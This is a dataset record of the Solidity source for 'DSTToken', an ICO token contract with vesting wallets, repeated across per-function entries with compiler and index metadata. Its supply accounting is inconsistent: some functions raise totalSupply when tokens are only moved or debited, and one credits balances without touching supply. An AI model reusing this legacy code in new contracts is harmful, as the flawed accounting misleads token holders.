// balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// DSTWalletLMNO related modifer
// @dev Throws if called by any account other than the DSTWalletLMNO owner
modifier onlyDSTWalletLMNO() {
require(msg.sender == dstWalletLMNO);
_;
}
} | assignTokensWallet | function assignTokensWallet(address walletAddress,address investor, uint256 tokens) internal {
// Check wallet have enough token balance to assign
require(tokens <= balances[walletAddress]);
// Creating tokens and increasing the totalSupply
totalSupply = safeAdd(totalSupply, tokens);
// Debit the tokens from wallet
balances[walletAddress] = safeSub(balances[walletAddress],tokens);
// Assign new tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token created for sender, log the creation event
Transfer(0, investor, tokens);
}
| // // Function will transfer the tokens to investor's address
// // Common function code for Crowdsale Investor And Cash Investor
// function assignTokens(address investor, uint256 tokens) internal {
// // Creating tokens and increasing the totalSupply
// totalSupply = safeAdd(totalSupply, tokens);
// // Assign new tokens to the sender
// balances[investor] = safeAdd(balances[investor], tokens);
// // Finally token created for sender, log the creation event
// Transfer(0, investor, tokens);
// }
// Function will transfer the tokens to investor's address
// Common function code for Crowdsale Investor And Cash Investor | LineComment | v0.4.18+commit.9cf6e910 | bzzr://8144d0818eaf9b3524a6cb0e7e938e7d023ea6924bfecc3c627a546b3b11561e | {
"func_code_index": [
12505,
13179
]
} | 8,958 |
|||
DSTToken | DSTToken.sol | 0x5befe0f9a29ba63aec7664e7f5e9c198e5be113b | Solidity | DSTToken | contract DSTToken is ERC20, Ownable, SafeMath {
// Token related informations
string public constant name = "Decentralize Silver Token";
string public constant symbol = "DST";
uint256 public constant decimals = 18; // decimal places
uint256 public tokensPerEther = 1500;
// MultiSig Wallet Address
address public DSTMultisig;
// Wallet L,M,N and O address
address dstWalletLMNO;
bool public startStop = false;
mapping (address => uint256) public walletA;
mapping (address => uint256) public walletB;
mapping (address => uint256) public walletC;
mapping (address => uint256) public walletF;
mapping (address => uint256) public walletG;
mapping (address => uint256) public walletH;
mapping (address => uint256) public releasedA;
mapping (address => uint256) public releasedB;
mapping (address => uint256) public releasedC;
mapping (address => uint256) public releasedF;
mapping (address => uint256) public releasedG;
mapping (address => uint256) public releasedH;
// Mapping of token balance and allowed address for each address with transfer limit
mapping (address => uint256) balances;
//mapping of allowed address for each address with tranfer limit
mapping (address => mapping (address => uint256)) allowed;
struct WalletConfig{
uint256 start;
uint256 cliff;
uint256 duration;
}
mapping (uint => address) public walletAddresses;
mapping (uint => WalletConfig) public allWalletConfig;
// @param _dstWalletLMNO Ether Address for wallet L,M,N and O
// Only to be called by Owner of this contract
function setDSTWalletLMNO(address _dstWalletLMNO) onlyOwner external{
require(_dstWalletLMNO != address(0));
dstWalletLMNO = _dstWalletLMNO;
}
// Owner can Set Multisig wallet
// @param _dstMultisig address of Multisig wallet.
function setDSTMultiSig(address _dstMultisig) onlyOwner external{
require(_dstMultisig != address(0));
DSTMultisig = _dstMultisig;
}
function startStopICO(bool status) onlyOwner external{
startStop = status;
}
function addWalletAddressAndTokens(uint _id, address _walletAddress, uint256 _tokens) onlyOwner external{
require(_walletAddress != address(0));
walletAddresses[_id] = _walletAddress;
balances[_walletAddress] = safeAdd(balances[_walletAddress],_tokens); // wallet tokens initialize
}
// function preAllocation(uint256 _walletId, uint256 _tokens) onlyOwner external{
// require(_tokens > 0);
// balances[walletAddresses[_walletId]] = safeAdd(balances[walletAddresses[_walletId]],_tokens); // wallet tokens initialize
// }
function addWalletConfig(uint256 _id, uint256 _start, uint256 _cliff, uint256 _duration) onlyOwner external{
uint256 start = safeAdd(_start,now);
uint256 cliff = safeAdd(start,_cliff);
allWalletConfig[_id] = WalletConfig(
start,
cliff,
_duration
);
}
function assignToken(address _investor,uint256 _tokens) external {
// Check investor address and tokens.Not allow 0 value
require(_investor != address(0) && _tokens > 0);
// Check wallet have enough token balance to assign
require(_tokens <= balances[msg.sender]);
// Debit the tokens from the wallet
balances[msg.sender] = safeSub(balances[msg.sender],_tokens);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, _tokens);
// Assign tokens to the investor
if(msg.sender == walletAddresses[0]){
walletA[_investor] = safeAdd(walletA[_investor],_tokens);
}
else if(msg.sender == walletAddresses[1]){
walletB[_investor] = safeAdd(walletB[_investor],_tokens);
}
else if(msg.sender == walletAddresses[2]){
walletC[_investor] = safeAdd(walletC[_investor],_tokens);
}
else if(msg.sender == walletAddresses[5]){
walletF[_investor] = safeAdd(walletF[_investor],_tokens);
}
else if(msg.sender == walletAddresses[6]){
walletG[_investor] = safeAdd(walletG[_investor],_tokens);
}
else if(msg.sender == walletAddresses[7]){
walletH[_investor] = safeAdd(walletH[_investor],_tokens);
}
else{
revert();
}
}
function assignTokenIJK(address _userAddress,uint256 _tokens) external {
require(msg.sender == walletAddresses[8] || msg.sender == walletAddresses[9] || msg.sender == walletAddresses[10]);
// Check investor address and tokens.Not allow 0 value
require(_userAddress != address(0) && _tokens > 0);
// Assign tokens to the investor
assignTokensWallet(msg.sender,_userAddress, _tokens);
}
function withdrawToken() public {
//require(walletA[msg.sender] > 0 || walletB[msg.sender] > 0 || walletC[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletA[msg.sender] > 0){
uint256 unreleasedA = getReleasableAmount(0,msg.sender);
walletA[msg.sender] = safeSub(walletA[msg.sender], unreleasedA);
currentBalance = safeAdd(currentBalance, unreleasedA);
releasedA[msg.sender] = safeAdd(releasedA[msg.sender], unreleasedA);
}
if(walletB[msg.sender] > 0){
uint256 unreleasedB = getReleasableAmount(1,msg.sender);
walletB[msg.sender] = safeSub(walletB[msg.sender], unreleasedB);
currentBalance = safeAdd(currentBalance, unreleasedB);
releasedB[msg.sender] = safeAdd(releasedB[msg.sender], unreleasedB);
}
if(walletC[msg.sender] > 0){
uint256 unreleasedC = getReleasableAmount(2,msg.sender);
walletC[msg.sender] = safeSub(walletC[msg.sender], unreleasedC);
currentBalance = safeAdd(currentBalance, unreleasedC);
releasedC[msg.sender] = safeAdd(releasedC[msg.sender], unreleasedC);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function withdrawBonusToken() public {
//require(walletF[msg.sender] > 0 || walletG[msg.sender] > 0 || walletH[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletF[msg.sender] > 0){
uint256 unreleasedF = getReleasableBonusAmount(5,msg.sender);
walletF[msg.sender] = safeSub(walletF[msg.sender], unreleasedF);
currentBalance = safeAdd(currentBalance, unreleasedF);
releasedF[msg.sender] = safeAdd(releasedF[msg.sender], unreleasedF);
}
if(walletG[msg.sender] > 0){
uint256 unreleasedG = getReleasableBonusAmount(6,msg.sender);
walletG[msg.sender] = safeSub(walletG[msg.sender], unreleasedG);
currentBalance = safeAdd(currentBalance, unreleasedG);
releasedG[msg.sender] = safeAdd(releasedG[msg.sender], unreleasedG);
}
if(walletH[msg.sender] > 0){
uint256 unreleasedH = getReleasableBonusAmount(7,msg.sender);
walletH[msg.sender] = safeSub(walletH[msg.sender], unreleasedH);
currentBalance = safeAdd(currentBalance, unreleasedH);
releasedH[msg.sender] = safeAdd(releasedH[msg.sender], unreleasedH);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function getReleasableAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 0){
totalBalance = safeAdd(walletA[_beneficiary], releasedA[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedA[_beneficiary]);
}
else if(_walletId == 1){
totalBalance = safeAdd(walletB[_beneficiary], releasedB[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedB[_beneficiary]);
}
else if(_walletId == 2){
totalBalance = safeAdd(walletC[_beneficiary], releasedC[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedC[_beneficiary]);
}
else{
revert();
}
}
function getReleasableBonusAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 5){
totalBalance = safeAdd(walletF[_beneficiary], releasedF[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedF[_beneficiary]);
}
else if(_walletId == 6){
totalBalance = safeAdd(walletG[_beneficiary], releasedG[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedG[_beneficiary]);
}
else if(_walletId == 7){
totalBalance = safeAdd(walletH[_beneficiary], releasedH[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedH[_beneficiary]);
}
else{
revert();
}
}
function getData(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 availableBalanceIn = safeDiv(safeMul(_totalBalance, safeSub(allWalletConfig[_walletId].cliff, allWalletConfig[_walletId].start)), allWalletConfig[_walletId].duration);
return safeMul(availableBalanceIn, safeDiv(getVestedAmount(_walletId,_totalBalance), availableBalanceIn));
}
function getVestedAmount(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 cliff = allWalletConfig[_walletId].cliff;
uint256 start = allWalletConfig[_walletId].start;
uint256 duration = allWalletConfig[_walletId].duration;
if (now < cliff) {
return 0;
} else if (now >= safeAdd(start,duration)) {
return _totalBalance;
} else {
return safeDiv(safeMul(_totalBalance,safeSub(now,start)),duration);
}
}
// Sale of the tokens. Investors can call this method to invest into DST Tokens
function() payable external {
// Allow only to invest in ICO stage
require(startStop);
// Sorry !! We only allow to invest with minimum 1 Ether as value
require(msg.value >= 1 ether);
// multiply by exchange rate to get newly created token amount
uint256 createdTokens = safeMul(msg.value, tokensPerEther);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[3],msg.sender, createdTokens);
}
// DST accepts Cash Investment through manual process in Fiat Currency
// DST Team will assign the tokens to investors manually through this function
//@ param cashInvestor address of investor
//@ param assignedTokens number of tokens to give to investor
function cashInvestment(address cashInvestor, uint256 assignedTokens) onlyOwner external {
// Check if cashInvestor address is set or not
// By mistake tokens mentioned as 0, save the cost of assigning tokens.
require(cashInvestor != address(0) && assignedTokens > 0);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[4],cashInvestor, assignedTokens);
}
// // Function will transfer the tokens to investor's address
// // Common function code for Crowdsale Investor And Cash Investor
// function assignTokens(address investor, uint256 tokens) internal {
// // Creating tokens and increasing the totalSupply
// totalSupply = safeAdd(totalSupply, tokens);
// // Assign new tokens to the sender
// balances[investor] = safeAdd(balances[investor], tokens);
// // Finally token created for sender, log the creation event
// Transfer(0, investor, tokens);
// }
// Function will transfer the tokens to investor's address
// Common function code for Crowdsale Investor And Cash Investor
function assignTokensWallet(address walletAddress,address investor, uint256 tokens) internal {
// Check wallet have enough token balance to assign
require(tokens <= balances[walletAddress]);
// Creating tokens and increasing the totalSupply
totalSupply = safeAdd(totalSupply, tokens);
// Debit the tokens from wallet
balances[walletAddress] = safeSub(balances[walletAddress],tokens);
// Assign new tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token created for sender, log the creation event
Transfer(0, investor, tokens);
}
function finalizeCrowdSale() external{
// Check DST Multisig wallet set or not
require(DSTMultisig != address(0));
// Send fund to multisig wallet
require(DSTMultisig.send(address(this).balance));
}
// @param _who The address of the investor to check balance
// @return balance tokens of investor address
function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
// @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
// Transfer `value` DST tokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of DST tokens to transfer
// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool ok) {
//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
// Transfer `value` DST tokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of miBoodle to transfer
// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
// `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// This method is only use for debit DSTToken from DST wallet L,M,N and O
// @dev Required state: is dstWalletLMNO set
// @param _walletAddress The address of the wallet from tokens debit
// @param token The number of DST tokens to debit
// @return Whether the debit was successful or not
function debitWalletLMNO(address _walletAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check wallet have enough token and token is valid
require(balances[_walletAddress] >= token && token > 0);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, token);
// Debit tokens from wallet balance
balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// This method is only use for credit DSTToken to DST wallet L,M,N and O users
// @dev Required state: is dstWalletLMNO set
// @param claimAddress The address of the wallet user to credit tokens
// @param token The number of DST tokens to credit
// @return Whether the credit was successful or not
function creditWalletUserLMNO(address claimAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check claiment address and token is valid or not
require(claimAddress != address(0) && token > 0);
// Assign tokens to user
balances[claimAddress] = safeAdd(balances[claimAddress], token);
// balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// DSTWalletLMNO related modifer
// @dev Throws if called by any account other than the DSTWalletLMNO owner
modifier onlyDSTWalletLMNO() {
require(msg.sender == dstWalletLMNO);
_;
}
} | balanceOf | function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
| // @param _who The address of the investor to check balance
// @return balance tokens of investor address | LineComment | v0.4.18+commit.9cf6e910 | bzzr://8144d0818eaf9b3524a6cb0e7e938e7d023ea6924bfecc3c627a546b3b11561e | {
"func_code_index": [
13545,
13654
]
} | 8,959 |
|||
DSTToken | DSTToken.sol | 0x5befe0f9a29ba63aec7664e7f5e9c198e5be113b | Solidity | DSTToken | contract DSTToken is ERC20, Ownable, SafeMath {
// Token related informations
string public constant name = "Decentralize Silver Token";
string public constant symbol = "DST";
uint256 public constant decimals = 18; // decimal places
uint256 public tokensPerEther = 1500;
// MultiSig Wallet Address
address public DSTMultisig;
// Wallet L,M,N and O address
address dstWalletLMNO;
bool public startStop = false;
mapping (address => uint256) public walletA;
mapping (address => uint256) public walletB;
mapping (address => uint256) public walletC;
mapping (address => uint256) public walletF;
mapping (address => uint256) public walletG;
mapping (address => uint256) public walletH;
mapping (address => uint256) public releasedA;
mapping (address => uint256) public releasedB;
mapping (address => uint256) public releasedC;
mapping (address => uint256) public releasedF;
mapping (address => uint256) public releasedG;
mapping (address => uint256) public releasedH;
// Mapping of token balance and allowed address for each address with transfer limit
mapping (address => uint256) balances;
//mapping of allowed address for each address with tranfer limit
mapping (address => mapping (address => uint256)) allowed;
struct WalletConfig{
uint256 start;
uint256 cliff;
uint256 duration;
}
mapping (uint => address) public walletAddresses;
mapping (uint => WalletConfig) public allWalletConfig;
// @param _dstWalletLMNO Ether Address for wallet L,M,N and O
// Only to be called by Owner of this contract
function setDSTWalletLMNO(address _dstWalletLMNO) onlyOwner external{
require(_dstWalletLMNO != address(0));
dstWalletLMNO = _dstWalletLMNO;
}
// Owner can Set Multisig wallet
// @param _dstMultisig address of Multisig wallet.
function setDSTMultiSig(address _dstMultisig) onlyOwner external{
require(_dstMultisig != address(0));
DSTMultisig = _dstMultisig;
}
function startStopICO(bool status) onlyOwner external{
startStop = status;
}
function addWalletAddressAndTokens(uint _id, address _walletAddress, uint256 _tokens) onlyOwner external{
require(_walletAddress != address(0));
walletAddresses[_id] = _walletAddress;
balances[_walletAddress] = safeAdd(balances[_walletAddress],_tokens); // wallet tokens initialize
}
// function preAllocation(uint256 _walletId, uint256 _tokens) onlyOwner external{
// require(_tokens > 0);
// balances[walletAddresses[_walletId]] = safeAdd(balances[walletAddresses[_walletId]],_tokens); // wallet tokens initialize
// }
function addWalletConfig(uint256 _id, uint256 _start, uint256 _cliff, uint256 _duration) onlyOwner external{
uint256 start = safeAdd(_start,now);
uint256 cliff = safeAdd(start,_cliff);
allWalletConfig[_id] = WalletConfig(
start,
cliff,
_duration
);
}
function assignToken(address _investor,uint256 _tokens) external {
// Check investor address and tokens.Not allow 0 value
require(_investor != address(0) && _tokens > 0);
// Check wallet have enough token balance to assign
require(_tokens <= balances[msg.sender]);
// Debit the tokens from the wallet
balances[msg.sender] = safeSub(balances[msg.sender],_tokens);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, _tokens);
// Assign tokens to the investor
if(msg.sender == walletAddresses[0]){
walletA[_investor] = safeAdd(walletA[_investor],_tokens);
}
else if(msg.sender == walletAddresses[1]){
walletB[_investor] = safeAdd(walletB[_investor],_tokens);
}
else if(msg.sender == walletAddresses[2]){
walletC[_investor] = safeAdd(walletC[_investor],_tokens);
}
else if(msg.sender == walletAddresses[5]){
walletF[_investor] = safeAdd(walletF[_investor],_tokens);
}
else if(msg.sender == walletAddresses[6]){
walletG[_investor] = safeAdd(walletG[_investor],_tokens);
}
else if(msg.sender == walletAddresses[7]){
walletH[_investor] = safeAdd(walletH[_investor],_tokens);
}
else{
revert();
}
}
function assignTokenIJK(address _userAddress,uint256 _tokens) external {
require(msg.sender == walletAddresses[8] || msg.sender == walletAddresses[9] || msg.sender == walletAddresses[10]);
// Check investor address and tokens.Not allow 0 value
require(_userAddress != address(0) && _tokens > 0);
// Assign tokens to the investor
assignTokensWallet(msg.sender,_userAddress, _tokens);
}
function withdrawToken() public {
//require(walletA[msg.sender] > 0 || walletB[msg.sender] > 0 || walletC[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletA[msg.sender] > 0){
uint256 unreleasedA = getReleasableAmount(0,msg.sender);
walletA[msg.sender] = safeSub(walletA[msg.sender], unreleasedA);
currentBalance = safeAdd(currentBalance, unreleasedA);
releasedA[msg.sender] = safeAdd(releasedA[msg.sender], unreleasedA);
}
if(walletB[msg.sender] > 0){
uint256 unreleasedB = getReleasableAmount(1,msg.sender);
walletB[msg.sender] = safeSub(walletB[msg.sender], unreleasedB);
currentBalance = safeAdd(currentBalance, unreleasedB);
releasedB[msg.sender] = safeAdd(releasedB[msg.sender], unreleasedB);
}
if(walletC[msg.sender] > 0){
uint256 unreleasedC = getReleasableAmount(2,msg.sender);
walletC[msg.sender] = safeSub(walletC[msg.sender], unreleasedC);
currentBalance = safeAdd(currentBalance, unreleasedC);
releasedC[msg.sender] = safeAdd(releasedC[msg.sender], unreleasedC);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function withdrawBonusToken() public {
//require(walletF[msg.sender] > 0 || walletG[msg.sender] > 0 || walletH[msg.sender] > 0);
uint256 currentBalance = 0;
if(walletF[msg.sender] > 0){
uint256 unreleasedF = getReleasableBonusAmount(5,msg.sender);
walletF[msg.sender] = safeSub(walletF[msg.sender], unreleasedF);
currentBalance = safeAdd(currentBalance, unreleasedF);
releasedF[msg.sender] = safeAdd(releasedF[msg.sender], unreleasedF);
}
if(walletG[msg.sender] > 0){
uint256 unreleasedG = getReleasableBonusAmount(6,msg.sender);
walletG[msg.sender] = safeSub(walletG[msg.sender], unreleasedG);
currentBalance = safeAdd(currentBalance, unreleasedG);
releasedG[msg.sender] = safeAdd(releasedG[msg.sender], unreleasedG);
}
if(walletH[msg.sender] > 0){
uint256 unreleasedH = getReleasableBonusAmount(7,msg.sender);
walletH[msg.sender] = safeSub(walletH[msg.sender], unreleasedH);
currentBalance = safeAdd(currentBalance, unreleasedH);
releasedH[msg.sender] = safeAdd(releasedH[msg.sender], unreleasedH);
}
require(currentBalance > 0);
// Assign tokens to the sender
balances[msg.sender] = safeAdd(balances[msg.sender], currentBalance);
}
function getReleasableAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 0){
totalBalance = safeAdd(walletA[_beneficiary], releasedA[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedA[_beneficiary]);
}
else if(_walletId == 1){
totalBalance = safeAdd(walletB[_beneficiary], releasedB[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedB[_beneficiary]);
}
else if(_walletId == 2){
totalBalance = safeAdd(walletC[_beneficiary], releasedC[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedC[_beneficiary]);
}
else{
revert();
}
}
function getReleasableBonusAmount(uint256 _walletId,address _beneficiary) public view returns (uint256){
uint256 totalBalance;
if(_walletId == 5){
totalBalance = safeAdd(walletF[_beneficiary], releasedF[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedF[_beneficiary]);
}
else if(_walletId == 6){
totalBalance = safeAdd(walletG[_beneficiary], releasedG[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedG[_beneficiary]);
}
else if(_walletId == 7){
totalBalance = safeAdd(walletH[_beneficiary], releasedH[_beneficiary]);
return safeSub(getData(_walletId,totalBalance), releasedH[_beneficiary]);
}
else{
revert();
}
}
function getData(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 availableBalanceIn = safeDiv(safeMul(_totalBalance, safeSub(allWalletConfig[_walletId].cliff, allWalletConfig[_walletId].start)), allWalletConfig[_walletId].duration);
return safeMul(availableBalanceIn, safeDiv(getVestedAmount(_walletId,_totalBalance), availableBalanceIn));
}
function getVestedAmount(uint256 _walletId,uint256 _totalBalance) public view returns (uint256) {
uint256 cliff = allWalletConfig[_walletId].cliff;
uint256 start = allWalletConfig[_walletId].start;
uint256 duration = allWalletConfig[_walletId].duration;
if (now < cliff) {
return 0;
} else if (now >= safeAdd(start,duration)) {
return _totalBalance;
} else {
return safeDiv(safeMul(_totalBalance,safeSub(now,start)),duration);
}
}
// Sale of the tokens. Investors can call this method to invest into DST Tokens
function() payable external {
// Allow only to invest in ICO stage
require(startStop);
// Sorry !! We only allow to invest with minimum 1 Ether as value
require(msg.value >= 1 ether);
// multiply by exchange rate to get newly created token amount
uint256 createdTokens = safeMul(msg.value, tokensPerEther);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[3],msg.sender, createdTokens);
}
// DST accepts Cash Investment through manual process in Fiat Currency
// DST Team will assign the tokens to investors manually through this function
//@ param cashInvestor address of investor
//@ param assignedTokens number of tokens to give to investor
function cashInvestment(address cashInvestor, uint256 assignedTokens) onlyOwner external {
// Check if cashInvestor address is set or not
// By mistake tokens mentioned as 0, save the cost of assigning tokens.
require(cashInvestor != address(0) && assignedTokens > 0);
// Call to Internal function to assign tokens
assignTokensWallet(walletAddresses[4],cashInvestor, assignedTokens);
}
// // Function will transfer the tokens to investor's address
// // Common function code for Crowdsale Investor And Cash Investor
// function assignTokens(address investor, uint256 tokens) internal {
// // Creating tokens and increasing the totalSupply
// totalSupply = safeAdd(totalSupply, tokens);
// // Assign new tokens to the sender
// balances[investor] = safeAdd(balances[investor], tokens);
// // Finally token created for sender, log the creation event
// Transfer(0, investor, tokens);
// }
// Function will transfer the tokens to investor's address
// Common function code for Crowdsale Investor And Cash Investor
function assignTokensWallet(address walletAddress,address investor, uint256 tokens) internal {
// Check wallet have enough token balance to assign
require(tokens <= balances[walletAddress]);
// Creating tokens and increasing the totalSupply
totalSupply = safeAdd(totalSupply, tokens);
// Debit the tokens from wallet
balances[walletAddress] = safeSub(balances[walletAddress],tokens);
// Assign new tokens to the sender
balances[investor] = safeAdd(balances[investor], tokens);
// Finally token created for sender, log the creation event
Transfer(0, investor, tokens);
}
function finalizeCrowdSale() external{
// Check DST Multisig wallet set or not
require(DSTMultisig != address(0));
// Send fund to multisig wallet
require(DSTMultisig.send(address(this).balance));
}
// @param _who The address of the investor to check balance
// @return balance tokens of investor address
function balanceOf(address _who) public constant returns (uint) {
return balances[_who];
}
// @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
// Transfer `value` DST tokens from sender's account
// `msg.sender` to provided account address `to`.
// @param _to The address of the recipient
// @param _value The number of DST tokens to transfer
// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) public returns (bool ok) {
//validate receiver address and value.Not allow 0 value
require(_to != 0 && _value > 0);
uint256 senderBalance = balances[msg.sender];
//Check sender have enough balance
require(senderBalance >= _value);
senderBalance = safeSub(senderBalance, _value);
balances[msg.sender] = senderBalance;
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
// Transfer `value` DST tokens from sender 'from'
// to provided account address `to`.
// @param from The address of the sender
// @param to The address of the recipient
// @param value The number of miBoodle to transfer
// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) public returns (bool ok) {
//validate _from,_to address and _value(Now allow with 0)
require(_from != 0 && _to != 0 && _value > 0);
//Check amount is approved by the owner for spender to spent and owner have enough balances
require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = safeSub(balances[_from],_value);
balances[_to] = safeAdd(balances[_to],_value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender],_value);
Transfer(_from, _to, _value);
return true;
}
// `msg.sender` approves `spender` to spend `value` tokens
// @param spender The address of the account able to transfer the tokens
// @param value The amount of wei to be approved for transfer
// @return Whether the approval was successful or not
function approve(address _spender, uint _value) public returns (bool ok) {
//validate _spender address
require(_spender != 0);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// This method is only use for debit DSTToken from DST wallet L,M,N and O
// @dev Required state: is dstWalletLMNO set
// @param _walletAddress The address of the wallet from tokens debit
// @param token The number of DST tokens to debit
// @return Whether the debit was successful or not
function debitWalletLMNO(address _walletAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check wallet have enough token and token is valid
require(balances[_walletAddress] >= token && token > 0);
// Increasing the totalSupply
totalSupply = safeAdd(totalSupply, token);
// Debit tokens from wallet balance
balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// This method is only use for credit DSTToken to DST wallet L,M,N and O users
// @dev Required state: is dstWalletLMNO set
// @param claimAddress The address of the wallet user to credit tokens
// @param token The number of DST tokens to credit
// @return Whether the credit was successful or not
function creditWalletUserLMNO(address claimAddress,uint256 token) external onlyDSTWalletLMNO returns (bool){
// Check if DST wallet LMNO is set or not
require(dstWalletLMNO != address(0));
// Check claiment address and token is valid or not
require(claimAddress != address(0) && token > 0);
// Assign tokens to user
balances[claimAddress] = safeAdd(balances[claimAddress], token);
// balances[_walletAddress] = safeSub(balances[_walletAddress],token);
return true;
}
// DSTWalletLMNO related modifer
// @dev Throws if called by any account other than the DSTWalletLMNO owner
modifier onlyDSTWalletLMNO() {
require(msg.sender == dstWalletLMNO);
_;
}
} | allowance | function allowance(address _owner, address _spender) public constant returns (uint) {
return allowed[_owner][_spender];
}
| // @param _owner The address of the account owning tokens
// @param _spender The address of the account able to transfer the tokens
// @return Amount of remaining tokens allowed to spent | LineComment | v0.4.18+commit.9cf6e910 | bzzr://8144d0818eaf9b3524a6cb0e7e938e7d023ea6924bfecc3c627a546b3b11561e | {
"func_code_index": [
13859,
13999
]
} | 8,960 |
|||
DSTToken | DSTToken.sol | 0x5befe0f9a29ba63aec7664e7f5e9c198e5be113b | Solidity | DSTToken | contract DSTToken is ERC20, Ownable, SafeMath {
// Token related informations
string public constant name = "Decentralize Silver Token";
string public constant symbol = "DST";
uint256 public constant decimals = 18; // decimal places
uint256 public tokensPerEther = 1500;
// MultiSig Wallet Address
address public DSTMultisig;
// Wallet L,M,N and O address
address dstWalletLMNO;
bool public startStop = false;
mapping (address => uint256) public walletA;
mapping (address => uint256) public walletB;
mapping (address => uint256) public walletC;
mapping (address => uint256) public walletF;
mapping (address => uint256) public walletG;
mapping (address => uint256) public walletH;
mapping (address => uint256) public releasedA;
mapping (address => uint256) public releasedB;
mapping (address => uint256) public releasedC;
mapping (address => uint256) public releasedF;
mapping (address => uint256) public releasedG;
mapping (address => uint256) public releasedH;
// Mapping of token balance and allowed address for each address with transfer limit
mapping (address => uint256) balances;
//mapping of allowed address for each address with tranfer limit
mapping (address => mapping (address => uint256)) allowed;
struct WalletConfig{
uint256 start;
uint256 cliff;
uint256 duration;
}
mapping (uint => address) public walletAddresses;
mapping (uint => WalletConfig) public allWalletConfig;
// @param _dstWalletLMNO Ether Address for wallet L,M,N and O
// Only to be called by Owner of this contract
function setDSTWalletLMNO(address _dstWalletLMNO) onlyOwner external{
require(_dstWalletLMNO != address(0));
dstWalletLMNO = _dstWalletLMNO;
}
// Owner can Set Multisig wallet
// @param _dstMultisig address of Multisig wallet.
function setDSTMultiSig(address _dstMultisig) onlyOwner external{
require(_dstMultisig != address(0));
DSTMultisig = _dstMultisig;
}
